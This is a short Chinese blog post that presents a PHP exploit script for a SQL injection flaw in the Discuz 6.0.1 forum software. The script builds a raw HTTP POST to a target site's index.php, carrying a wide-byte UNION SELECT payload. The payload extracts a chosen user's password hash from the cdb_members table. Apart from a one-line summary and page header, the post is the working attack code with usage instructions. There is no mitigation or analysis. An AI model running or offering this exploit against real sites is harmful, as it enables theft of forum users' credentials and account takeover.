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最新推荐文章于 2025-01-03 10:26:36 发布

iteye_12650

最新推荐文章于 2025-01-03 10:26:36 发布

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分类专栏： php 文章标签： php c/c++

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本文介绍了一种针对 Discuz 6.0.1 版本的 SQL 注入漏洞利用方法，通过构造特定的 HTTP 请求来获取指定用户的密码等敏感信息。

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<?php
error_reporting(E_ALL&E_NOTICE);
print_r("
+——————————————————————+
Exploit discuz6.0.1
Just work as php>=5 & mysql>=4.1
BY  冰封浪子&小志
+——————————————————————+
");

if($argc>4)
{
$host=$argv[1];
$port=$argv[2];
$path=$argv[3];
$uid=$argv[4];
}else{
echo "Usage: php ".$argv[0]." host port path uid\n";
echo "host:      target server \n";
echo "port:      the web port, usually 80\n";
echo "path:      path to discuz\n";
echo "uid :      user ID you wanna get\n";
echo "Example:\r\n";
echo "php ".$argv[0]." localhost 80 1\n";
exit;
}

$content ="action=search&searchid=22%cf’UNION SELECT 1,password,3,password/**/from/**/cdb_members/**/where/**/uid=".$uid."/*&do=submit";

$data = "POST /".$path."/index.php"." HTTP/1.1\r\n";
$data .= "Accept: */*\r\n";
$data .= "Accept-Language: zh-cn\r\n";
$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
$data .= "User-Agent: wap\r\n";
$data .= "Host: ".$host."\r\n";
$data .= "Content-length: ".strlen($content)."\r\n";
$data .= "Connection: Close\r\n";
$data .= "\r\n";
$data .= $content."\r\n\r\n";
$ock=fsockopen($host,$port);
if (!$ock) {
echo 'No response from '.$host;
die;
}
fwrite($ock,$data);
while (!feof($ock)) {
echo fgets($ock, 1024);
}